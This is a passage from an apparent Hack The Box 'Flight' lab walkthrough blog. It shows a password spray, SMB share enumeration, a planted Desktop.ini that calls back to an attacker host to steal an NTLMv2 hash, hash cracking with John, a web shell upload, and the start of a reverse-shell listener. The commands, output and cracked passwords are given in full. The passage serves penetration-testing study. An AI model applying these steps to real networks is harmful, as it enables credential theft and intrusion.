SMB         flight.htb      <span class="hljs-number">445</span>    G0               [+] flight.htb\S.<span class="hljs-attribute">Moon:</span>S@Ss!K@*t13 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\R.<span class="hljs-attribute">Cold:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\G.<span class="hljs-attribute">Lors:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\L.<span class="hljs-attribute">Kein:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\M.<span class="hljs-attribute">Gold:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] Connection <span class="hljs-attribute">Error:</span> The NETBIOS connection with the remote host timed out.
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] Connection <span class="hljs-attribute">Error:</span> The NETBIOS connection with the remote host timed out.
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\I.<span class="hljs-attribute">Francis:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\D.<span class="hljs-attribute">Truff:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\V.<span class="hljs-attribute">Stevens:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [+] flight.htb\svc_<span class="hljs-attribute">apache:</span>S@Ss!K@*t13 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\O.<span class="hljs-attribute">Possum:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE
</code></pre>
<p>and through this attack, we see the personal account of the user <code>S.Moon</code> contains the same password.</p>
<p>Now we have a new set of creds</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">username</span>: <span class="hljs-selector-tag">S</span><span class="hljs-selector-class">.Moon</span>
<span class="hljs-selector-tag">password</span>: <span class="hljs-selector-tag">S</span><span class="hljs-keyword">@Ss</span>!K@*t13
</code></pre>
<p>now lets use the credentials in enumeration...</p>
<p>we begin with smb enumeration:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697893537113/c114751a-2028-4327-b16c-fe0c0b8601a4.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">crackmapexec</span> <span class="hljs-selector-tag">smb</span> <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span> <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">S</span><span class="hljs-selector-class">.Moon</span>  <span class="hljs-selector-tag">-p</span> '<span class="hljs-selector-tag">S</span><span class="hljs-keyword">@Ss</span>!K@*t13'  --shares
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [*] Windows <span class="hljs-number">10.0</span> Build <span class="hljs-number">17763</span> x64 (<span class="hljs-attribute">name:</span>G0) (<span class="hljs-attribute">domain:</span>flight.htb) (<span class="hljs-attribute">signing:</span>True) (SMBv1:False)
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [+] flight.htb\S.<span class="hljs-attribute">Moon:</span>S@Ss!K@*t13 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [+] Enumerated shares
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Share           Permissions     Remark
SMB         flight.htb      <span class="hljs-number">445</span>    G0               -----           -----------     ------
SMB         flight.htb      <span class="hljs-number">445</span>    G0               ADMIN$                          Remote Admin
SMB         flight.htb      <span class="hljs-number">445</span>    G0               C$                              Default share
SMB         flight.htb      <span class="hljs-number">445</span>    G0               IPC$            READ            Remote IPC
SMB         flight.htb      <span class="hljs-number">445</span>    G0               NETLOGON        READ            Logon server share 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Shared          READ,WRITE      
SMB         flight.htb      <span class="hljs-number">445</span>    G0               SYSVOL          READ            Logon server share 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Users           READ            
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Web             READ
</code></pre>
<p>now we see that we have <code>READ,WRITE</code> access on the <code>Shared</code> share.</p>
<p>Inside the <code>Shared</code> share we don't find anything</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697894282003/f5d3b04b-78d2-4dfa-95f3-96352f42f69d.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"> <span class="hljs-selector-tag">smbclient</span> //10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span>/<span class="hljs-selector-tag">Shared</span> <span class="hljs-selector-tag">-U</span> <span class="hljs-selector-tag">S</span><span class="hljs-selector-class">.Moon</span>
<span class="hljs-selector-tag">Password</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-attr">[WORKGROUP\S.Moon]</span>:
<span class="hljs-selector-tag">Try</span> "<span class="hljs-selector-tag">help</span>" <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">get</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">list</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">possible</span> <span class="hljs-selector-tag">commands</span>.
<span class="hljs-selector-tag">smb</span>: \&gt; <span class="hljs-selector-tag">dir</span>
  .                                   <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sat</span> <span class="hljs-selector-tag">Oct</span> 21 23<span class="hljs-selector-pseudo">:05</span><span class="hljs-selector-pseudo">:57</span> 2023
  ..                                  <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sat</span> <span class="hljs-selector-tag">Oct</span> 21 23<span class="hljs-selector-pseudo">:05</span><span class="hljs-selector-pseudo">:57</span> 2023

                5056511 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">size</span> 4096. 1252715 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">available</span>
<span class="hljs-selector-tag">smb</span>: \&gt;
</code></pre>
<p>The <code>Shared</code> share seems to be accessed by many users and since we have write access to it there is a possibility we can upload a malicious file that can enable us to steal NTLM credentials.</p>
<p>The anatomy of this attack is that the malicious file will be calling back to me and during the process of calling back it will be performing an authentication... just as we intercepted the first authentication we will do the same for this.</p>
<p>So using the knowledge we have obtained from this <a target="_blank" href="https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds#desktop.ini">blog</a> we will create a malicious Desktop.ini file that will call back to us and during authentication we will steal its NTLM hash.</p>
<p>Make sure to use <code>IconResource</code> instead of <code>IconFile</code>, <code>IconFile</code> is for WindowsXP systems and this is not such a system in 2023<a target="_blank" href="https://emojipedia.org/face-with-tears-of-joy">😂</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697895535976/004cea86-be2b-42bb-b95b-8f5be955e188.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-attr">[.ShellClassInfo]</span>
<span class="hljs-selector-tag">IconResource</span>=\\10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span>\<span class="hljs-selector-tag">meme</span>
<span class="hljs-selector-tag">IconIndex</span>=1337
</code></pre>
<p>now we put the file in the <code>Shared</code> share through <code>smbclient</code> and since the <code>Shared</code> share is accessed by many users, when a user interacts with the file, authentication will happen and when intercepted we will receive the NTLM hash.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697896172387/5efe7190-647e-4da6-9581-86dc70186091.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">smbclient</span> //10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span>/<span class="hljs-selector-tag">Shared</span> <span class="hljs-selector-tag">-U</span> <span class="hljs-selector-tag">S</span><span class="hljs-selector-class">.Moon</span>
<span class="hljs-selector-tag">Password</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-attr">[WORKGROUP\S.Moon]</span>:
<span class="hljs-selector-tag">Try</span> "<span class="hljs-selector-tag">help</span>" <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">get</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">list</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">possible</span> <span class="hljs-selector-tag">commands</span>.
<span class="hljs-selector-tag">smb</span>: \&gt; <span class="hljs-selector-tag">dir</span>
  .                                   <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sat</span> <span class="hljs-selector-tag">Oct</span> 21 23<span class="hljs-selector-pseudo">:35</span><span class="hljs-selector-pseudo">:00</span> 2023
  ..                                  <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sat</span> <span class="hljs-selector-tag">Oct</span> 21 23<span class="hljs-selector-pseudo">:35</span><span class="hljs-selector-pseudo">:00</span> 2023

                5056511 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">size</span> 4096. 1252919 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">available</span>
<span class="hljs-selector-tag">smb</span>: \&gt; <span class="hljs-selector-tag">put</span> <span class="hljs-selector-tag">Desktop</span><span class="hljs-selector-class">.ini</span>
<span class="hljs-selector-tag">putting</span> <span class="hljs-selector-tag">file</span> <span class="hljs-selector-tag">Desktop</span><span class="hljs-selector-class">.ini</span> <span class="hljs-selector-tag">as</span> \<span class="hljs-selector-tag">Desktop</span><span class="hljs-selector-class">.ini</span> (0<span class="hljs-selector-class">.0</span> <span class="hljs-selector-tag">kb</span>/<span class="hljs-selector-tag">s</span>) (<span class="hljs-selector-tag">average</span> 0<span class="hljs-selector-class">.0</span> <span class="hljs-selector-tag">kb</span>/<span class="hljs-selector-tag">s</span>)
</code></pre>
<p>once we successfully put the <code>Desktop.ini</code> file in the <code>Shared</code> share, a user <code>c.bum</code> interacted with our file and in the process of authentication we received the hash...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697896422505/95beb36b-2fd7-42c3-a7d1-62c3340ff4eb.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">events</span>...

<span class="hljs-selector-attr">[SMB]</span> <span class="hljs-selector-tag">NTLMv2-SSP</span> <span class="hljs-selector-tag">Client</span>   : 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span>
<span class="hljs-selector-attr">[SMB]</span> <span class="hljs-selector-tag">NTLMv2-SSP</span> <span class="hljs-selector-tag">Username</span> : <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>\<span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span>
<span class="hljs-selector-attr">[SMB]</span> <span class="hljs-selector-tag">NTLMv2-SSP</span> <span class="hljs-selector-tag">Hash</span>     : <span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span><span class="hljs-selector-pseudo">::flight.htb</span><span class="hljs-selector-pseudo">:e0aac973a404aa8d</span><span class="hljs-selector-pseudo">:E2C8A6F4E6E6C204FA6157DF8CE77359</span><span class="hljs-selector-pseudo">:0101000000000000006134ED3D04DA01F099C1B07B10CD2300000000020008005400590059004A0001001E00570049004E002D0030003200340059004300580052004C0057003200510004003400570049004E002D0030003200340059004300580052004C005700320051002E005400590059004A002E004C004F00430041004C00030014005400590059004A002E004C004F00430041004C00050014005400590059004A002E004C004F00430041004C0007000800006134ED3D04DA0106000400020000000800300030000000000000000000000000300000587B78CF1DEE5EC3F23E73C1A5F30AD63E3609BFFA94C403CEDDE533AAF039420A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320030000000000000000000</span>
</code></pre>
<p><strong>Password Cracking again!</strong></p>
<p>now using JohnTheRipper we try crack the hash using the rockyou.txt wordlist...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697896834708/a16ea38b-b25e-463a-bab0-d0d7ecd54167.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">john</span> <span class="hljs-selector-tag">--wordlist</span>=/<span class="hljs-selector-tag">usr</span>/<span class="hljs-selector-tag">share</span>/<span class="hljs-selector-tag">wordlists</span>/<span class="hljs-selector-tag">rockyou</span><span class="hljs-selector-class">.txt</span>  <span class="hljs-selector-tag">hash2</span>    
<span class="hljs-selector-tag">Using</span> <span class="hljs-selector-tag">default</span> <span class="hljs-selector-tag">input</span> <span class="hljs-selector-tag">encoding</span>: <span class="hljs-selector-tag">UTF-8</span>
<span class="hljs-selector-tag">Loaded</span> 1 <span class="hljs-selector-tag">password</span> <span class="hljs-selector-tag">hash</span> (<span class="hljs-selector-tag">netntlmv2</span>, <span class="hljs-selector-tag">NTLMv2</span> <span class="hljs-selector-tag">C</span>/<span class="hljs-selector-tag">R</span> <span class="hljs-selector-attr">[MD4 HMAC-MD5 32/64]</span>)
<span class="hljs-selector-tag">Will</span> <span class="hljs-selector-tag">run</span> 4 <span class="hljs-selector-tag">OpenMP</span> <span class="hljs-selector-tag">threads</span>
<span class="hljs-selector-tag">Press</span> '<span class="hljs-selector-tag">q</span>' <span class="hljs-selector-tag">or</span> <span class="hljs-selector-tag">Ctrl-C</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">abort</span>, <span class="hljs-selector-tag">almost</span> <span class="hljs-selector-tag">any</span> <span class="hljs-selector-tag">other</span> <span class="hljs-selector-tag">key</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">status</span>
<span class="hljs-selector-tag">Tikkycoll_431012284</span> (<span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span>)     
1<span class="hljs-selector-tag">g</span> 0<span class="hljs-selector-pseudo">:00</span><span class="hljs-selector-pseudo">:00</span><span class="hljs-selector-pseudo">:07</span> <span class="hljs-selector-tag">DONE</span> (2023<span class="hljs-selector-tag">-10-21</span> 16<span class="hljs-selector-pseudo">:56)</span> 0<span class="hljs-selector-class">.1383g</span>/<span class="hljs-selector-tag">s</span> 1457<span class="hljs-selector-tag">Kp</span>/<span class="hljs-selector-tag">s</span> 1457<span class="hljs-selector-tag">Kc</span>/<span class="hljs-selector-tag">s</span> 1457<span class="hljs-selector-tag">KC</span>/<span class="hljs-selector-tag">s</span> <span class="hljs-selector-tag">TinyMutt69</span>.<span class="hljs-selector-class">.Tiffani29</span>
<span class="hljs-selector-tag">Use</span> <span class="hljs-selector-tag">the</span> "<span class="hljs-selector-tag">--show</span> <span class="hljs-selector-tag">--format</span>=<span class="hljs-selector-tag">netntlmv2</span>" <span class="hljs-selector-tag">options</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">display</span> <span class="hljs-selector-tag">all</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">cracked</span> <span class="hljs-selector-tag">passwords</span> <span class="hljs-selector-tag">reliably</span>
<span class="hljs-selector-tag">Session</span> <span class="hljs-selector-tag">completed</span>.
</code></pre>
<p>and we get the credentials as:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">username</span><span class="hljs-selector-pseudo">:c.bum</span>
<span class="hljs-selector-tag">password</span><span class="hljs-selector-pseudo">:Tikkycoll_431012284</span>
</code></pre>
<p>now using these credentials we do enumeration once more...</p>
<p>we do our enumeration through smb and we get the ouput as:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697897281240/8d2e35e1-f78b-4933-9f96-ff7d88b9addc.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">rackmapexec</span> <span class="hljs-selector-tag">smb</span> <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span> <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span>  <span class="hljs-selector-tag">-p</span> '<span class="hljs-selector-tag">Tikkycoll_431012284</span>'  <span class="hljs-selector-tag">--shares</span>
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-attr">[*]</span> <span class="hljs-selector-tag">Windows</span> 10<span class="hljs-selector-class">.0</span> <span class="hljs-selector-tag">Build</span> 17763 <span class="hljs-selector-tag">x64</span> (<span class="hljs-selector-tag">name</span><span class="hljs-selector-pseudo">:G0)</span> (<span class="hljs-selector-tag">domain</span><span class="hljs-selector-pseudo">:flight.htb)</span> (<span class="hljs-selector-tag">signing</span><span class="hljs-selector-pseudo">:True)</span> (<span class="hljs-selector-tag">SMBv1</span><span class="hljs-selector-pseudo">:False)</span>
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>\<span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span><span class="hljs-selector-pseudo">:Tikkycoll_431012284</span> 
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">Enumerated</span> <span class="hljs-selector-tag">shares</span>
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">Share</span>           <span class="hljs-selector-tag">Permissions</span>     <span class="hljs-selector-tag">Remark</span>
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">-----</span>           <span class="hljs-selector-tag">-----------</span>     <span class="hljs-selector-tag">------</span>
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">ADMIN</span>$                          <span class="hljs-selector-tag">Remote</span> <span class="hljs-selector-tag">Admin</span>
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">C</span>$                              <span class="hljs-selector-tag">Default</span> <span class="hljs-selector-tag">share</span>
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">IPC</span>$            <span class="hljs-selector-tag">READ</span>            <span class="hljs-selector-tag">Remote</span> <span class="hljs-selector-tag">IPC</span>
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">NETLOGON</span>        <span class="hljs-selector-tag">READ</span>            <span class="hljs-selector-tag">Logon</span> <span class="hljs-selector-tag">server</span> <span class="hljs-selector-tag">share</span> 
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">Shared</span>          <span class="hljs-selector-tag">READ</span>,<span class="hljs-selector-tag">WRITE</span>      
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">SYSVOL</span>          <span class="hljs-selector-tag">READ</span>            <span class="hljs-selector-tag">Logon</span> <span class="hljs-selector-tag">server</span> <span class="hljs-selector-tag">share</span> 
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">Users</span>           <span class="hljs-selector-tag">READ</span>            
<span class="hljs-selector-tag">SMB</span>         <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>      445    <span class="hljs-selector-tag">G0</span>               <span class="hljs-selector-tag">Web</span>             <span class="hljs-selector-tag">READ</span>,<span class="hljs-selector-tag">WRITE</span>
</code></pre>
<p>For the user <code>c.bum</code> we see that we have <code>READ,WRITE</code> access on the <code>Web</code> share and the <code>Shared</code> share... The <code>Web</code> share seems interesting to be honest and on checking it out we see...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697897565267/33a2aa62-c28d-4606-996e-ec5ff9c43504.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">smbclient</span> //10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span>/<span class="hljs-selector-tag">Web</span> <span class="hljs-selector-tag">-U</span> <span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span>
<span class="hljs-selector-tag">Password</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-attr">[WORKGROUP\c.bum]</span>:
<span class="hljs-selector-tag">Try</span> "<span class="hljs-selector-tag">help</span>" <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">get</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">list</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">possible</span> <span class="hljs-selector-tag">commands</span>.
<span class="hljs-selector-tag">smb</span>: \&gt; <span class="hljs-selector-tag">dir</span>
  .                                   <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sun</span> <span class="hljs-selector-tag">Oct</span> 22 00<span class="hljs-selector-pseudo">:12</span><span class="hljs-selector-pseudo">:00</span> 2023
  ..                                  <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sun</span> <span class="hljs-selector-tag">Oct</span> 22 00<span class="hljs-selector-pseudo">:12</span><span class="hljs-selector-pseudo">:00</span> 2023
  <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>                          <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sun</span> <span class="hljs-selector-tag">Oct</span> 22 00<span class="hljs-selector-pseudo">:12</span><span class="hljs-selector-pseudo">:00</span> 2023
  <span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>                   <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sun</span> <span class="hljs-selector-tag">Oct</span> 22 00<span class="hljs-selector-pseudo">:12</span><span class="hljs-selector-pseudo">:00</span> 2023

                5056511 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">size</span> 4096. 1251726 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">available</span>
<span class="hljs-selector-tag">smb</span>: \&gt;
</code></pre>
<p>This is really beautiful <a target="_blank" href="https://emojipedia.org/star-struck">🤩</a>... a chance to upload a web shell since what we upload here will be seen on the web... the two virtual hosts <code>flight.htb</code> and <code>school.flight.htb</code> is here showing we have access to the web.</p>
<p>Now the web shell that we will be uploading is called <a target="_blank" href="https://github.com/flozz/p0wny-shell">p0wny-shell</a> . Clone the git repo and upload the <code>shell.php</code> file on the <code>Web</code> share... you can upload it on either <code>flight.htb</code> or <code>school.flight.htb</code> and then access the file on your web browser through <code>http://school.flight.htb/shell.php</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697898324020/5c79fceb-6596-4534-b604-7f28376f16cd.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">smbclient</span> //10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span>/<span class="hljs-selector-tag">Web</span> <span class="hljs-selector-tag">-U</span> <span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span>
<span class="hljs-selector-tag">Password</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-attr">[WORKGROUP\c.bum]</span>:
<span class="hljs-selector-tag">Try</span> "<span class="hljs-selector-tag">help</span>" <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">get</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">list</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">possible</span> <span class="hljs-selector-tag">commands</span>.
<span class="hljs-selector-tag">smb</span>: \&gt; <span class="hljs-selector-tag">dir</span>
  .                                   <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sun</span> <span class="hljs-selector-tag">Oct</span> 22 00<span class="hljs-selector-pseudo">:22</span><span class="hljs-selector-pseudo">:00</span> 2023
  ..                                  <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sun</span> <span class="hljs-selector-tag">Oct</span> 22 00<span class="hljs-selector-pseudo">:22</span><span class="hljs-selector-pseudo">:00</span> 2023
  <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>                          <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sun</span> <span class="hljs-selector-tag">Oct</span> 22 00<span class="hljs-selector-pseudo">:22</span><span class="hljs-selector-pseudo">:00</span> 2023
  <span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>                   <span class="hljs-selector-tag">D</span>        0  <span class="hljs-selector-tag">Sun</span> <span class="hljs-selector-tag">Oct</span> 22 00<span class="hljs-selector-pseudo">:22</span><span class="hljs-selector-pseudo">:00</span> 2023
<span class="hljs-selector-tag">cd</span> 
                5056511 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">size</span> 4096. 1251454 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">available</span>
<span class="hljs-selector-tag">smb</span>: \&gt; <span class="hljs-selector-tag">cd</span> <span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>
<span class="hljs-selector-tag">smb</span>: \<span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>\&gt; <span class="hljs-selector-tag">put</span> <span class="hljs-selector-tag">shell</span><span class="hljs-selector-class">.php</span>
<span class="hljs-selector-tag">putting</span> <span class="hljs-selector-tag">file</span> <span class="hljs-selector-tag">shell</span><span class="hljs-selector-class">.php</span> <span class="hljs-selector-tag">as</span> \<span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>\<span class="hljs-selector-tag">shell</span><span class="hljs-selector-class">.php</span> (10<span class="hljs-selector-class">.9</span> <span class="hljs-selector-tag">kb</span>/<span class="hljs-selector-tag">s</span>) (<span class="hljs-selector-tag">average</span> 10<span class="hljs-selector-class">.9</span> <span class="hljs-selector-tag">kb</span>/<span class="hljs-selector-tag">s</span>)
</code></pre>
<p>now after uploading and visiting the webpage <code>http://school.flight.htb/shell.php</code> we get</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697898417538/8487e089-55ce-49e2-9857-8b9f7525628d.png" alt class="image--center mx-auto" /></p>
<p><code>whomai</code> we see that we have a shell as <code>svc_apache</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697898551732/1c60fb68-de92-4515-9e0e-5b8bf0bfd833.png" alt class="image--center mx-auto" /></p>
<p>NB: The web shell is not durable due to a clean-up script it gets removed after a while so the file <code>shell.php</code> file can be uploaded time and again.</p>
<p>now for a more stable shell, we try and execute a PowerShell reverse shell #2 from <a target="_blank" href="https://www.revshells.com/">revshells.com</a> and we will start our <code>netcut</code> listener to listen on <code>port 4444</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697899473139/b4d9d420-fa23-45a1-93a4-3ba9ef4b2498.png" alt="netcut listener listening on port 4444" class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">rlwrap</span> <span class="hljs-selector-tag">ncat</span> <span class="hljs-selector-tag">-lvnp</span> 4444 
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Version</span> 7<span class="hljs-selector-class">.94</span> ( <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">nmap</span><span class="hljs-selector-class">.org</span>/<span class="hljs-selector-tag">ncat</span> )
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> <span class="hljs-selector-attr">[::]</span><span class="hljs-selector-pseudo">:4444</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> 0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:4444</span>
</code></pre>
<p>the listener listening on <code>port 4444</code>, is now back to <code>p0wny@shell</code> we use the PowerShell reverse shell</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697899756663/76460f7a-4b6c-4656-affb-536d117a0a79.png" alt class="image--center mx-auto" /></p>
